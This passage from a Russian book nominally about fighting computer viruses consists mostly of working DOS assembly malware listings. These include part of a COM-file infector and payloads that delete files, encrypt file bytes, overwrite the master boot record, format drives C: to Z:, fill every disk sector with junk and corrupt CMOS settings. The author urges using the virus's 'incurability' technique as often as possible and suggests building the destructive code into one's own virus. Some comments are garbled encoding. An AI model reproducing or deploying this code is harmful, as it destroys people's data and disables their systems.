Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
131 |
|
|
|
mov ax,4202h |
; Переходим в конец обнаруженного файла |
|
xor cx,cx |
|
; |
cwd |
|
; |
int 21h |
|
; |
mov ah,40h |
|
; И дописываем основное тело вируса |
int 1h |
|
; Антиэвристика |
lea dx,[bp+start] |
; |
|
mov cx,finish-start |
; |
|
int 21h |
|
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
testing: |
|
; Проверка на инфицируемость |
mov ax,4200h |
; Переходим в конец файла, но не в самый, а |
|
xor cx,cx |
|
; на три байта меньше, чтобы указатель |
mov dx,word ptr[bp+size1] |
; указывал на 3 байта от конца |
|
sub dx,3 |
|
; |
int 21h |
|
; |
mov ah,3fh |
|
; Читаем этот байт из файла |
mov cx,1 |
|
; |
lea dx,[bp+try] |
; |
|
int 21h |
|
; |
cmp [bp+try],0e8h |
; Если он равен 0e8h, то этот файл уже |
|
jne dalshe |
|
; заражен, и мы переходим к его закрытию |
jmp close |
|
; Если не равен, |
dalshe: |
|
|
mov ax,4200h |
; тогда ставим указатель на начало файла |
|
xor cx,cx |
|
; |
xor dx,dx |
|
; |
int 21h |
|
; |
jmp vozvrat |
|
; И переходим к поиску 0b4h |
;---------------------------------------------- |
|
|
file1 |
db '*.com',0 |
; Данные, которые входят в тело вируса |
addr |
dw 0 |
; |
orig_bytes |
db 0b4h |
; |
buff |
db 0,0,0 |
; |
fuck |
db 0e8h |
; |
size1 |
dw 0 |
; |
;---------------------------------------------- |
|
|
finish: |
|
|
try |
db ? |
; А эти данные временные и в тело вируса не |
new_dta |
db 43 dup(?) |
; входят |
cseg ends end start
;----------------------------------------------
Представленный выше вирус является простейшим примером применения технологии неизлечимости. Как уже было сказано, данная технология очень перспективна. Так что применять ее необходимо как можно чаще.
132 |
DOS вирусы |
|
|
Для изучения и лечения данного вида вирусов необходимо затратить немало времени на их анализ. Написание же антивируса это, вообще говоря, не простая задача.
Ï ð è ê ë à ä í û å ô ó í ê ö è è â è ð ó ñ î â
Глава 6 Деструктивные способности вирусов
Теперь мы с вами поговорим о деструктивных возможностях вирусов. Во времена становления компьютерных вирусов ходило много баек о том, как человек погиб от компьютерного вируса, или его системный блок разорвала злобная вирусная программа. Чтобы развеять все легенды о вирусах, мы разберемся в том, что они могут разорвать, а чего нет.
Раньше бытовало такое мнение, что компьютерный вирус может даже убить человека посредством гипноза и пресловутого 25 кадра. На самом деле фактиче- ского подтверждения этим слухам никогда не было. В основном это были так называемые газетные утки.
Но достоверно известно, что некоторые компьютерные вирусы могли выводить из строя компьютерные мониторы. Стоит оговориться, что те мониторы, которые «палили» вирусы, существовали давно. Современные мониторы уже не горят, как ты не старайся. А программным путем (следовательно, из вирусной программы) современный монитор вывести из строя нельзя. Конечно, можно поэкспериментировать над строчной разверткой и другими подобными вещами, но разработчики вирусов тоже ведь люди, и свои мониторы во время экспериментов им портить не хочется. Поэтому если такие вирусы и есть, то их соотношение к традиционным 1 к 50 000.
Первое, что компьютерные вирусы испокон веков делали, это стирали файлы. Рассмотрим программу, которая стирает один единственный файл. Для чего, спросите вы? А для того, чтобы в лицо знать своего врага. К примеру, вы не знаете функции какой-либо программы. Вы загружаете ее в дизассемблер и видите там вызов функции, которая удаляет файл, и когда вы эту функцию узнаете, будете настороже. И просто так эту программу уже не запустите. И второе применение: встраиваете этот кусочек кода в свой вирус, меняете имя файла и... В зависимости от имени файла существуют возможности:
•вывести из строя операционную систему;
•удалить важную информацию;
•и многое другое.
Рассмотрим листинг:
;----------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
DOS вирусы |
133 |
|
|
org 100h |
|
start: |
|
;---------------------------------------------- |
|
mov |
ah,41h |
xor |
cx,cx |
lea |
dx,filename |
int |
21h |
int |
20h |
;---------------------------------------------- |
|
filename db 'comok.com',0 ;----------------------------------------------
cseg ends end start
;----------------------------------------------
Данная программа стирает файл в текущей директории под именем comok.com. После того как в вирусах стало использоваться тривиальное удаление файлов, появились некоторые люди и сказали «а если они файлы восстановят?», и стали они вместо того чтобы просто удалять файлы, шифровать их. Но не всем вирмейкерам это нравилось, потому что это не стоило затраченных усилий.
Рассмотрим простейшую программу, которая шифрует случайное количество байт в файле, случайным ключом, но количество шифруемых байт не превысит 255. И если файл, который мы шифруем, меньше, чем количество байт, которое мы шифруем, то программа допишет оставшиеся байты сама. Да, файл, с которым производится работа, — тот же comok.com
Перейдем к листингу:
;----------------------------------------------
cseg segment org 100h
assume cs:cseg,ds:cseg,es:cseg
start: |
|
mov ax,3d02h |
; Открываем файл на чтение/запись |
lea dx,fname |
; Как обычно, comok.com |
int 21h |
; |
xchg ax,bx |
; Дескриптор (хэндл) файла в bx |
;---------------------------------------------- |
|
in al,40h |
; Получаем случайное число в al |
mov size1,al |
; Это будет количество байт для шифрования |
in al,40h |
; Получаем случайное число в al |
mov key,al |
; Это будет ключ, которым мы будем шифровать |
;---------------------------------------------- |
|
mov ah,3fh |
; Читаем из файла |
lea dx,buff |
; в переменную buff |
mov cl,size1 |
; случайное количество байтов |
int 21h |
; |
call crypt |
; Вызываем процедуру шифрования |
134 |
DOS вирусы |
|
|
mov ax,4200h |
; Переходим в начало файла |
xor cx,cx |
; |
cwd |
; |
int 21h |
; |
mov ah,40h |
; Записываем туда уже зашифрованные байты |
lea dx,buff |
; |
mov cl,size1 |
; |
int 21h |
; |
mov ah,3eh |
; Закрываем файл |
int 21h |
; |
int 20h |
; Завершаем работу программы |
;---------------------------------------------- |
|
crypt: |
|
xor si,si |
; Обнуляем si |
crp2: |
|
mov al,buff[si] |
; Загружаем в al текущий байт |
xor al,key |
; Шифруем его операцией XOR со случайным ключом |
mov buff[si],al |
; Помещаем уже зашифрованный байт обратно в buff |
inc si |
; Переходим к следующему байту |
cmp si,cx |
; Если байты для шифрования закончились, |
jne crp2 |
; |
ret |
; выходим из процедуры |
;---------------------------------------------- |
|
|
|
fname |
db |
'comok.com',0 |
; Данные |
size1 |
db |
0 |
; |
key |
db |
0 |
; |
buff |
db |
0FFh dup(?) |
; |
;---------------------------------------------- |
|
|
|
cseg ends |
|
|
|
end start |
|
|
|
;---------------------------------------------- |
|
|
|
Забыл сказать, что один из самых известных вирусов Onehalf тоже использовал шифрование, но он по-тихому шифровал непосредственно части жесткого диска.
После этого в вирусах особенно полюбили использовать низкоуровневое форматирование. Это стало так популярно благодаря тому, что это моментальное и тотальное уничтожение всей информации, находящейся на жестком диске.
Рассмотрим листинг:
;---------------------------------------------- |
|
|
cseg segment |
|
|
|
assume cs:cseg,ds:cseg |
|
|
org 100h |
|
start: |
|
|
|
jmp destroy |
|
;---------------------------------------------- |
|
|
DSTRY |
DB |
0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2 |
DOS вирусы |
|
|
|
|
135 |
|
|
|
|
|
|
DB |
0,0,7,2, 0,0,8,2, |
0,0,9,2, |
0,0,10,2, |
0,0,11,2, |
0,0,12,2 |
DB |
0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2 |
|
|||
;---------------------------------------------- |
|
|
|
|
|
DESTROY: |
|
|
|
|
|
mov |
AH,05H |
; форматирование винчестера начинается с сектора |
|||
mov |
DL,80H |
; 0 и продолжается до сектора 16 |
|||
mov |
DH,0H |
; Это должно убить master boot |
|||
mov |
CX,0000H |
; record & partition table |
|||
mov |
AL,11H |
; информация по низкоуровневому форматированию |
|||
mov |
BX,OFFSET DSTRY |
; находится в DSTRY в виде 1,2,3,4, |
|||
int |
13H |
; где 1=номер трэка,2=номер головки,3=номер сектора |
|||
|
|
; и 4=байты/сектор с 2=512 байты/сектор |
|||
int 20h |
|
|
|
|
|
;---------------------------------------------- |
|
|
|
|
|
cseg ends end start
;----------------------------------------------
Данная программа перезаписывает 16 секторов винчестера, что убивает master boot record и partition table.
И еще один пример, но только эта программа форматирует все диски, начи- ная с C: и заканчивая Z:.
Перейдем к листингу:
;---------------------------------------------- |
|
|
|
|
cseg |
segment |
|
|
|
|
org 100h |
|
|
|
|
assume cs:cseg,ds:cseg,es:cseg |
|
||
;---------------------------------------------- |
|
|
|
|
start: |
|
|
|
|
|
mov |
al,counter |
|
; Счетчик дисков для форматирования |
|
call |
alter |
|
; Вызываем процедуру форматирования |
|
|
|
|
; 25 ýòî äèñê Z: |
|
cmp |
counter,25 |
|
; Это последний диск? |
|
je |
exit |
|
; Если да, то завершаем программу |
|
inc |
counter |
|
; Переходим к следующему диску |
|
loop |
start |
|
; Пока еще есть живые диски, будем форматировать |
alter: |
|
|
|
|
|
mov |
ah,05 |
|
; Форматируем дорожку |
|
mov |
ch,0 |
|
; форматируем нулевую дорожку |
|
mov |
dh,0 |
|
; нулевая головка |
|
mov |
dl,counter |
|
; Форматируем текущий диск |
|
int |
13H |
|
; Вызов прерывания |
|
ret |
|
|
; Возврат из процедуры |
exit: |
|
|
|
|
|
int 20h |
|
|
; Завершение программы |
;---------------------------------------------- |
|
|
|
|
|
counter |
db |
2 |
; Счетчик для дисков начинаем с -> c:\ |
;---------------------------------------------- |
|
|
|
|
cseg |
ends |
|
|
|
|
end start |
|
|
|
;---------------------------------------------- |
|
|
|
|
136 |
DOS вирусы |
|
|
Излюбленным методом деструкции большинства вирмейкеров является запись всякого мусора на диск (trashing). Рассмотрим парочку примеров для понимания сути работы данной деструкции.
Вот листинг первого примера:
;---------------------------------------------- |
|
|
|
|
cseg |
segment |
|
|
|
|
org 100h |
|
|
|
|
assume cs:cseg,ds:cseg,es:cseg |
|
||
start: |
|
|
|
|
;---------------------------------------------- |
|
|
|
|
|
mov al,2h |
; Äèñê C: |
|
|
drive: |
|
; |
|
|
|
mov |
cx,1 |
; Забиваем весь диск нашим сообщением |
|
|
lea |
bx,virus |
|
|
|
cwd |
|
; Устанавливаем dx=0 |
|
n_sect: |
|
|
|
|
|
int |
26h |
|
|
|
inc |
dx |
|
|
|
jnc |
n_sect |
; Работаем со всеми секторами |
|
|
inc |
al |
|
|
|
jmp |
drive |
; |
|
|
ret |
|
|
|
;---------------------------------------------- |
|
|
|
|
|
virus db "SHIT IN YOUR HARD DRIVE$" |
; Этим сообщением будет забит весь диск |
||
;---------------------------------------------- |
|
|
|
|
cseg |
ends |
|
|
|
|
end start |
|
|
|
;---------------------------------------------- |
|
|
|
|
Данная программа записывает наше сообщение на все диски и во все сектора, таким образом уничтожая всю информацию, которая там была.
Еще один листинг:
;----------------------------------------------
cseg segment org 100h
assume cs:cseg,ds:cseg,es:cseg
start: |
|
|
;---------------------------------------------- |
|
|
cli |
|
; Отключаем прерывания |
mov |
ax,0002h |
; Äèñê C: |
mov |
cx,100h |
; Сектора (100hex=256DEC!) |
xor |
dx,dx |
; Обнуляем dx (начинаем с нулевого сектора) |
int |
026h |
; Вызов прерывания записи на диск |
int 20h |
|
; Завершение работы |
;---------------------------------------------- |
|
|
cseg ends |
|
|
end start |
|
|
;---------------------------------------------- |
|
|
Данная программа перезаписывает 256 секторов диска C:\ мусором.
DOS вирусы |
137 |
|
|
Âпоследнее время получили распространение вирусы, портящие flash BIOS
èCMOS память. В вирусе «Чернобыль» реализована возможность перезаписи Flash-микросхемы. Для ее восстановления потребуется специальный программатор. Вирус «Чернобыль» — это штамм известного вируса WIN CIH.
Я считаю необходимым затронуть в этом повествовании работу с CMOS'ом Рассмотрим следующий листинг:
;----------------------------------------------
cseg segment org 100h
assume cs:cseg,ds:cseg,es:cseg
.286
start: ;----------------------------------------------
;Данная программа меняет в настройки CMOS так, чтобы дискеты смотрелись как
;отформатированные на 360 кб или винчестер с доступной памятью в 20 Мб
;----------------------------------------------
screw_cmos:
cmp dl,0 |
; если dl = 0, то издеваемся над дискетой, |
je floppy |
|
mov cl,19h |
; иначе будем издеваться над винчестером |
jmp short get_crc |
|
floppy: |
|
mov cl,10h |
|
get_crc: |
; Получаем контрольную сумму CMOS'а |
mov ax,2eh |
; Получаем наиболее значащий байт |
out 70h,al |
; и сохраняем его в dh |
in al,71h |
|
xchg dh,al |
|
mov al,2fh |
; Получаем наименее значащий байт |
out 70h,al |
; и сохраняем его в dl |
in al,71h |
|
xchg dl,al |
; dx содержит контрольную сумму |
mov al,cl |
; cl = функция (10h=дискета, 19h=винчестер) |
out 70h,al |
|
in al,71h |
; Получить текущее значение в al |
sub dx,ax |
; и отнять от него контрольную сумму |
add dx,10h |
; Добавить новое значение к контрольной сумме |
mov al,cl |
|
out 70h,al |
|
mov al,10h |
|
out 71h,al |
; Поместить новое значение в CMOS |
mov al,2eh |
; Поместить обратно новую контрольную сумму |
out 70h,al |
|
xchg dh,al |
|
out 71h,al |
; Наименее значимый байт |
mov al,2fh |
|
out 70h,al |
|
xchg dl,al |
|
out 71h,al |
; Наиболее значимый байт |
138 |
DOS вирусы |
|
|
;---------------------------------------------- |
|
int 20h |
; Конец программы |
cseg ends |
|
end start |
|
;---------------------------------------------- |
|
Данная программа смотрит на состояние регистра dl, отображающего состояние ячейки CMOS, и если он равен нулю, то дискеты по умолчанию в системе будут считаться отформатированными на 360 кб, если dl не равен нулю, то размер винчестера будет считаться 20 Мб. Представьте, какая это досада, если реальный размер винчестера 20 Гб...
Итак, с основными деструктивными функциями вирусов мы и разобрались. Но, по сути, деструктивных проявлений в вирусах столько же, сколько и людей, пишущих эти вирусы, может чуть меньше, потому как не все вирмейкеры одобряют деструктивные проявления.
Использовать или не использовать деструктивные проявления? Каждый вирмейкер решает этот вопрос по своему...
Поэтому если есть подозрения на деструкцию в вирусе, то при его изучении и лечении нужно быть крайне осторожным.
Глава 7 Графические и музыкальные эффекты
в вирусах
Помимо всяческих жестоких проявлений вирусов есть веселые графические и мультипликационные эффекты, которые вирусы демонстрируют для людей, компьютеры, которых они инфицировали. Очень часто встречаются и музыкальные эффекты в вирусах, реже — графика и звук одновременно. В этой части повествования я опишу несколько наиболее известных и красивых проявлений вирусов.
Данные проявления очень важны, многие пользователи только по этим проявлениям понимали, что их компьютер инфицирован. И чем лучше были проявления, тем с большим трепетом пользователи относились к данному вирусу.
Итак, мы будем рассматривать анимационные проявления, начиная с простого и постепенно двигаясь к все более сложным.
Первым простейшим проявлением был вывод текстовой строки. Какая же это графика и анимация, скажете вы? Но, должен сказать, что это самый распространенный вид недеструктивного проявления.
Рассмотрим листинг:
;---------------------------------------------- |
|
cseg segment |
|
org 100h |
|
assume cs:cseg,ds:cseg,es:cseg |
|
.286 |
|
start: |
|
;---------------------------------------------- |
|
mov ah,09h |
; Функция вывода строки на экран |
lea dx,msg |
; Сообщение для вывода |
DOS вирусы |
|
|
139 |
|
|
|
|
int 21h |
; |
Вызов |
прерывания |
ret |
; |
Выход |
из программы |
;---------------------------------------------- |
|
|
|
msg db "...Hi there I am SuPeR ViRus$" ; Само сообщение, которое будем выводить ;----------------------------------------------
cseg ends
end start ;----------------------------------------------
Данная простейшая программа выводит на экран одну строчку «...Hi there I am SuPeR ViRus».
Дальше больше: вирмейкеры поняли, что с помощью красивых проявлений они могут стать известными, и начались эксперименты вначале с текстом, а потом и с графикой со звуком.
Представленный ниже анимационный эффект раньше был очень популярен. Он представляет собой осыпание букв. Данный спецэффект был использован в вирусе «Каскад».
Перейдем к листингу:
;----------------------------------------------
code |
segment |
|
|
|
assume cs:code,ds:code,es:code,ss:code |
||
|
org |
0100h |
|
main |
proc |
near |
|
|
jmp start |
|
|
Row |
dw |
24 |
; Строки для инициализации |
|
|
|
; Вначале получим видеорежим и страницу |
Start: |
mov |
cx,0B800h |
; Цветной монитор, цветная видеопамять для страницы 1 |
|
mov |
ah,15 |
; Получим текущий видеорежим |
|
int |
10h |
|
|
cmp |
al,2 |
; Öâåò? |
|
je |
A2 |
; Äà? |
|
cmp |
al,3 |
; Öâåò? |
|
je |
A2 |
; Äà |
|
cmp |
al,7 |
; Чернобелый? |
|
je |
A1 |
; Äà |
|
int |
20h |
; Нет, выход |
|
|
|
; здесь, если 80 колонок — текстовый режим |
|
|
|
; Положим видеосегмент в ds. |
A1: |
mov |
cx,0A300h |
; Устанавливаем для Ч/Б; Ч/Б видеопамять для страницы 1 |
A2: |
mov |
bl,0 |
; bx=смещение страницы |
|
add |
cx,bx |
; Видеосегмент |
|
mov |
ds,cx |
; â ds |
|
|
|
; Начинаем эффект опадания букв |
|
xor |
bx,bx |
; Начинаем в верхнем левом углу |
A3: |
push |
bx |
; Сохраняем начальный столбец в стеке |
|
mov |
bp,80 |
; Сбрасываем счетчик столбцов |
|
|
|
; Do next column in a row. |
A4: |
mov |
si,bx |
; Ставим верхнюю строчку в si |
|
mov |
ax,[si] |
; Получаем символ и атрибуты с экрана |
140 |
|
|
DOS вирусы |
|
|
|
|
|
cmp |
al,20h |
; Это пробел? |
|
je |
A7 |
; Да, пропускаем его |
|
mov |
dx,ax |
; Нет, сохраним символ в dx |
|
mov |
al,20h |
; Сделаем его пробелом |
|
mov |
[si],ax |
; и выведем его на экран |
|
add |
si,160 |
; Устанавливаем следующую строчку |
|
mov |
di,cs:Row |
; Получаем оставшиеся строки |
A5: |
mov |
ax,[si] |
; Получаем символ и атрибуты с экрана |
|
mov |
[si],dx |
; Кладем символ с верхней строки и атрибуты сюда |
A6: |
call Vert |
; Ждем 2 вертикальных восстановления |
|
|
mov |
[si],ax |
; Кладем оригинальный символ и атрибуты назад |
|
|
|
; Переходим к следующей строчке этого столбца |
|
add |
si,160 |
; Следующая строчка |
|
dec |
di |
; Сделали, строки кончились? |
|
jne |
A5 |
; Нет, работаем со следующей |
|
mov |
[si-160],dx |
; Кладем символ и атрибуты в строчку 25 |
|
|
|
; Переходим к следующему столбцу в этой строке |
A7: |
add |
bx,2 |
; Следующий столбец, та же строчка |
|
dec |
bp |
; Уменьшаем счетчик стобцов; Закончили? |
|
jne |
A4 |
; Нет, работаем с этим столбцом |
|
|
|
; Переходим к следующей строке. |
A8: |
pop |
bx |
; Получаем начало текущей строки |
|
add |
bx,160 |
; Следующая строка |
|
dec |
cs:Row |
; Все строки обработали? |
|
jne |
A3 |
; Íåò |
A9: |
mov |
ax,4C00h |
|
|
int |
21h |
; Да, выходим в DOS |
|
|
|
; Процедура для генерации снега на CGA дисплее |
Vert: |
push ax |
|
|
|
push dx |
|
|
|
push cx |
; Сохраняем все используемые регистры |
|
|
mov |
cl,2 |
; Ждем 2 вертикальных восстановления |
|
mov |
dx,3DAh |
; Состояние порта CRT |
F1: |
in |
al,dx |
; Читаем состояние |
|
test |
al,8 |
; Вертикальное восстановление ушло вверх? |
|
je |
F1 |
; Нет, подождем его |
|
dec |
cl |
; Второе? |
|
je |
F3 |
; Да, пишем во время заполнения |
F2: |
in |
al,dx |
; Нет, получаем состояние |
|
test |
al,8 |
; Вертикальное восстановление ушло вниз? |
|
jne |
F2 |
; Нет, подождем его |
|
jmp |
F1 |
; Да, ждем следующего подъема |
F3: |
pop |
cx |
|
|
pop |
dx |
|
|
pop |
ax |
; Восстанавливаем регистры |
|
ret |
|
; и выходим из программы |
main endp |
|
|
|
code |
ends |
|
|
end |
main |
|
|
;---------------------------------------------- |
|
|
|
Данная программа работает с видеопамятью и принцип ее работы ясен из комментариев.
